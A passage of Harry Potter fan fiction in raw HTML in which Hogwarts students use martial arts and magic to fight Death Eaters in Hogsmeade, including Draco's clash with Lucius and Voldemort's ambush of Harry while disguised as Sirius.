touch.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cho!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho turned, seeing Recca and Ashley from the Hokage and Blitz teams. &#8220;Hey guys. Guess you know what&#8217;s going on.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re calm about this.&#8221; Ashley said, giving her a look.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Watch out!&#8221; Recca tackled Cho, and turned so he would take the fall. The space she was just standing blew apart in dust and small debree. &#8220;Locomoto mortis&#8221; he said as soon as he could, making the death eater fall from the rooftop and land roughly on the ground.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Imperio!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ashley suddenly felt very warm. &#8216;<i>Kill them...</i>.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh man&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cho! Keep Ashley busy!&#8221; Recca turned to the death eater. &#8220;Diffindo!&#8221; The charm hit its mark and the mask covering the older man&#8217;s face was split open, falling to reveal his face. &#8220;Well,&#8221; Recca said, walking around him. &#8220;I don&#8217;t know who you are, but I&#8217;m sure one person in this crowd does.&#8221; He moved his hand around, showing the several people who stopped running in panic to watch the Hogwarts kids take on this threat. </p>\n\n<p>&nbsp;</p>\n\n<p>The man glared. &#8220;Crucio!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Recca jumped into the air, spun and landed on his toes, already springing into a lunge before his opponent had any chance to retaliate. Three punches later, he was out cold.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cho&#8230;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho looked up at Ashley, who was on top of her, wand at her throat. &#8220;Oh thank Merlin.&#8221; She breathed out, letting herself relax.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Up you go.&#8221; Recca said, lifting Ashley up and then helping Cho to her feet. &#8220;You girls go help some of the people hurt and try to get that fire out. I&#8217;ll try and find some other Sorcerers and let them know that these people don&#8217;t have any training against martial arts.&#8221; He nodded at them. &#8220;And don&#8217;t let anyone not in the Circle fight. We don&#8217;t stand a chance if we use magic against magic.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry bit his lip as he was flung against a wall. He felt it cave under the pressure and then found himself skidding across the floor as bits and pieces of sheetrock and wood hit around him. Slowly getting to his feet, he looked out the new window that he had just created and, steadying himself, leapt out of it. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, would you like to know why I&#8217;m named Ryoko?&#8221; The blue haired lady asked, perched on a building across the street. Her eyes went red as small wisp of smoke started to gather around her. &#8220;It&#8217;s because I can summon spirits from anything under the sun.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The ghost like wisp flew at Harry, but was easily deflected. &#8220;Looks like you need to get some real power.&#8221; Harry taunted, coving the fact that his back was killing him from his previous fall. &#8220;Such tricks can not defeat me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They can also be used like this.&#8221; Ryoko raised her hand and the wisp gathered in front of her, soon forming into a large demon.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the&#8230;?&#8221; Harry breathed out as the transparent being formed in front of him. It looked like it was made of smoke, but had four glowing red eyes and claws for hands. Its feet looked as if they couldn&#8217;t do any damage because of the smoke body, but the stones under it were cracked from an insane amount of weight it must have. &#8220;This is not good&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Dean ducked under a spell and ran in close to the death eater that had shot it. Throwing a punch, the man doubled over and set the boy up for an uppercut, which he took full advantage of. The mask was thrown off and he lay unconscious on the road. Several people cheered for him, but his victory was short lived as a shout of &#8220;Crucio&#8221; taught him a new meaning of the word &#8216;pain&#8217;. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dean!&#8221; Seamus shouted, running up and landing a drop kick on the person holding the wand that was cursing with energy. &#8220;Sodding bastard!&#8221; He raised his hand and slammed a punch on the new man&#8217;s face and then stomach, before returning to his face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m okay.&#8221; Dean coughed out, weakly standing with the help of another Hogwarts sorcerer student. &#8220;Just caught off guard.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They can&#8217;t defend against Muggle Arts.&#8221; Recca said, stepping up to them. Behind him was a third death eater, mask removed and bound by a spell. &#8220;Let&#8217;s split up and find others who are fighting. Avoid all spells being cast, they play dirty.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Right.&#8221; The two other boys nodded.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Ron sweep kicked a man in black robes and, somehow, managed to jump straight into the air to avoid a hex. He landed neatly on the fallen death eater&#8217;s stomach, making him cough, spit blood, and pass out. Turning to see his new opponent, Ron set his face in a frown. &#8220;It seems they small fry are getting taken out.&#8221; Ron taunted, moving his hand in a beckoning motion. &#8220;You must be one of the leaders.&#8221; He smirked. &#8220;Care to take me on?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Avada kedavra!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Ron leapt to the side and ran forward, hand posed as to punch. His fist met air, however, as the man he was fighting seemed to apaprate behind him, clipping Ron with a blast of energy that made him fly forward into a group of scared spectators. &#8220;It seems you bunched me with this group of losers.&#8221; The man spoke through his mask. &#8220;I&#8217;ll warn you not to make that mistake a second time.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The red head male was struggling to his feet, wiping blood from his nose as the man went on talking. &#8220;They call me Jandor.&#8221; He informed, voice cool. &#8220;I will be your executioner.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron&#8217;s body seemed to blur at the speed he put on. The next moment, his fist was in the gut of Jandor, making him double over and receive a round house to him temple. &#8220;My name is Ron.&#8221; He spoke, mimicking Jandor&#8217;s voice. &#8220;I will be thwarting your dumb ass.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny danced to the side of a spell that was shot at her and immediately moved in the other direction to avoid another. Draco then appeared behind the two men firing at her and caught both of them in a blazing blue fire before they could turn around.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re late.&#8221; Ginny pouted at him as Hogsmeade citizens moved to apprehend the fallen people.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I ran into a little trouble.&#8221; He replied.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And you&#8217;ll soon find more, boy!&#8221; A new voice called out as Draco found himself flying through the air. His body crashed into a large granite pole in front of a fancy looking house. Blood escaped him his mouth as he slid down it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco!&#8221; Ginny ran to him and helped him up. &#8220;You okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A few broken ribs.&#8221; He said through grit teeth, looking at the tall man walking forward at him though hazed eyes. He was wearing a long black cloak and a solid black mask. The long haired teenager then smiled at Ginny. &#8220;I&#8217;ll take him; you go help people who are hurt.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But-!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny!&#8221; He said firmly. &#8220;You&#8217;re a great fighter, but you&#8217;re healing skills are what is needed right now.&#8221; He stood up, mouth in a tight line. &#8220;Go. People need you.&#8221; Draco&#8217;s school robes were unclasped and took flight in the wind blowing. His hair floated behind him as he lunged forward and met him in a grip lock.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Give up boy.&#8221; The man growled at him. &#8220;You&#8217;re a hundred years too young to take me on.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Father&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry jumped onto the top of a house, narrowly avoiding a rather powerful swing from the monster he was fighting. &#8220;<i>Aim between its eyes.</i>&#8221; Celestial whispered to him in his mind. &#8220;<i>That is where the power is being concentrated.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded, jumping into the air and dodging a few more attacks. Wind was blasting under him fiercely, keeping him afloat. He used this power to make a suicidal dive to the monster, wand called into his hand and a sword of wind coming from it. &#8220;Take this!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The summoned demon seemed to attack out of nowhere, slamming him hard on his side with a large hand. Harry hit the ground roughly and bounced twice before stopping. &#8220;This&#8230;&#8221; He whispered through the pain. &#8220;Is not my day&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It would appear so.&#8221; A voice said behind him. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry weakly rolled over to see who had spoken to him. &#8220;Who..?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Polly juice potion really is a wonderful thing.&#8221; The voice spoke, helping him up with a small healing spell.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shh, not so loud.&#8221; He told his godson. &#8220;I heard about this attack when I was spying. Sorry I couldn&#8217;t get here sooner.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood, now more confident about himself. &#8220;All right. We&#8217;ll talk later. Right now we have some business to take care of.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Ron set his face in a frown as he avoided yet another <i>Crucio</i> spell sent at him. Obviously what made the death eaters so strong was their total disregard to the wizarding rules of restriction. &#8220;Stay still damn you!&#8221; Jandor shouted, casting another hex, which made Ron suddenly feel very sluggish.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230; can&#8217;t move.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, that is the idea.&#8221; Jandor commented, stepping up to the frozen boy who was in mid stride. &#8220;How do you feel now? Crucio!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron screamed in pain as he felt the lightening like energy course through him. Glass ran through his veins and fire licked his flesh. &#8216;<i>It&#8217;s not real pain</i>.&#8217; He told himself as his voice kept yelling. &#8216;<i>It&#8217;s not real.</i>&#8217; The people watching could only hold their breath and cover their ears, too scared to make any move to stop it. &#8216;<i>Ron!</i>&#8217; His mouth closed tightly, refusing to yell anymore. &#8216;<i>Ron! Pull yourself together!</i>&#8217; </p>\n\n<p>&nbsp;</p>\n\n<p>Ron&#8217;s mind shot to all the times Harry saved his life. &#8216;<i>You&#8217;re not some weakling!</i>&#8217; He told himself as the pain increased. &#8216;<i>You&#8217;re Harry&#8217;s friend because you know you can handle the danger it brings</i>!&#8217; Ron opened his eyes. &#8216;<i>So show it!</i>&#8217; He grit his teeth. &#8216;<i>Prove that you are worthy of being called his friend. Prove you can protect people like he can!</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron screamed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What!?&#8221; Jandor looked in shock as Ron stood up straight, green crackling energy all around him. &#8220;Impossible!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is it?&#8221; Ron asked, calmly walking forward. &#8220;What is magic? The manifestation of one&#8217;s will to make someone else perceive it and its effects.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you talking about!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Imperious Curse can be over come through power of mind.&#8221; Ron told him, still walking. &#8220;And the Cruciatus Curse can be overcome through willpower. When I realized that it was all in my mind, and my actual physical body wasn&#8217;t being hurt, it was easy.&#8221; Ron slammed a fist into Jandor&#8217;s stomach. &#8220;Is that all the power you have, Jandor?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The death eater leader slowly sank to his knees, and then fell forward, eyes rolling into the back of his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>Draco smirked evilly as he flip kicked his father over him as he fell back. Lucius, however, landed quite neatly on his feet with the help of a balancing spell. &#8220;Impressive.&#8221; He spoke calmly. &#8220;Is that what they teach you at that school of yours? How to use pathetic muggle means of defense?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I chose to learn.&#8221; Draco shot back, glaring.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco, you poor foolish boy.&#8221; His voice dripped with sarcasm and hate. &#8220;The lord will give you another chance. Come, return the ring and you will be welcomed back into the fold!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Back? I was never a part of it!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then, what is on your arm, boy? Surely not the dark mark you received when put under the Cruciatus curse the first time that night?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What mark?&#8221; Draco asked slyly, pulling down his sleeve to show a bare arm. &#8220;You mean the one that I took off?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go tell Voldemort to go fu-&#8220;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Draco!</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>Hehe.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Die, boy! Avada Kadavara!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Draco did the classic Sorcerer jump to avoid the spell, and pulled a nice twist in his body, angel wings shredding his shirt as they came from his back. Midnight black feathers flew around them as he glared. His long blondish white hair turned to a deep shade of red, so dark it almost matched his wings. &#8220;You want me back so much?&#8221; He asked voice light and feminine. &#8220;Then come and get me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fool!&#8221; Lucius held out his wand. &#8220;Crucio! Avada Kadavra! Hari Kari! Explosion!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco batted away the first curse, dodged the second, and sped forward.&nbsp; By the time the last curse was called, his face was only a centimeter from his father&#8217;s. &#8220;Is that all?&#8221; he asked him as the older man staggered backwards.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The ring is controlling you, boy.&#8221; He told his son, eyes wishing death upon him. &#8220;You&#8217;re not yourself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who says we aren&#8217;t working together?&#8221; Draco&#8217;s voice seemed to be his own, but that of Christina as well. They spoke at the same time, perfectly in sync. &#8220;Our powers are too much for you. This attack was a failure.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lucius chuckled twice before throwing his head back and laughing full force.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t see what&#8217;s so funny.&#8221; The two voices spoke at the same time. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hehehe...&#8221; Lucius put his hand on his face, still laughing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s gone crazy&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You think the point of the attack was to terrorize?&#8221; Lucius suddenly asked, voice hard and cold, no longer having any traces of laughter in it. &#8220;Poor pathetic boy, can you not even think!?&#8221; Draco set his face stern and emotionless. &#8220;The lord would not attack unless he had a reason. Why else would he send such weak people with only three leaders of the attack?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyebrow twitched lightly; the only expression that showed he heard.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Figure it out, boy!&#8221; And with those words, he appareted away.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned and began to walk away, but saw his reflection in the glass of a building.&nbsp; The area he was in was deserted, as they had all gathered to help put out the fires of the two or three buildings damaged. What he saw made him smirk. On his face he had a triangular strip on both sides of his cheeks and his hair flew back in strands and spikes. Black wings that could carry him into the air if he wanted. &#8220;So this is the result of an Angel and a black heart?&#8221; He looked into his glowing blue eyes. &#8220;Heh.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>He turned and walked away.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was surprisingly easy.&#8221; Harry spoke, watching the body of the demon he was fighting fade away. Turning, he looked around. &#8220;Where is Ryoko?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You don&#8217;t have to worry about her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry blinked. &#8220;Eh?&#8221; He looked over at Sirius. &#8220;Why not?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Watch out!</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Because she is behind you.&#8221; Harry gasped as he felt two hands grab his head. The next thing he saw was lightning flash before his eyes and the sound of his godfather saying that, &#8220;Yes, it truly is amazing what polyjuice potion could do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Voldemort&#8230;&#8221; How? How did he find out Sirius was a spy? That he was his Godfather&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry potter blacked out.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked up at the burning building as she was casting a small healing spell that he learned from madam Pomfrey. Although potions and such were the main healing properties of magical medicine, certain spells could slightly mend bones and cure burns. Also, there was a high class spell that could even close cuts and make blood flow better. She, luckily, understood enough to be able to cast that very spell. Now, after doing it several times, she was glad of her knowledge. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is everyone okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny turned and gaped up at Draco. He looked like some sort of astral warrior. Biting back questions that might strike a nerve on his appearance, she forced herself to look back at the building. &#8220;There may be more inside.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My baby!&#8221; A woman suddenly cried as there was a small explosion of glass and collapsing wood. &#8220;My baby is still in there!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll go.&#8221; Draco flapped his wings, sending ash grey feathers flying. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny picked up a feather and blinked at it. &#8220;Weren&#8217;t they black?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The people outside waited with their breath held when Draco flew through a window. The woman who had called out for her baby was chocking on tears as she struggled to breathe as she waited. Almost thirty seconds had gone by since he went in. The window of the three story building was being looked at by all eyes. Slowly flames took over the window and there was an eary quiet that took place. It was shattered next by the sound of wood breaking 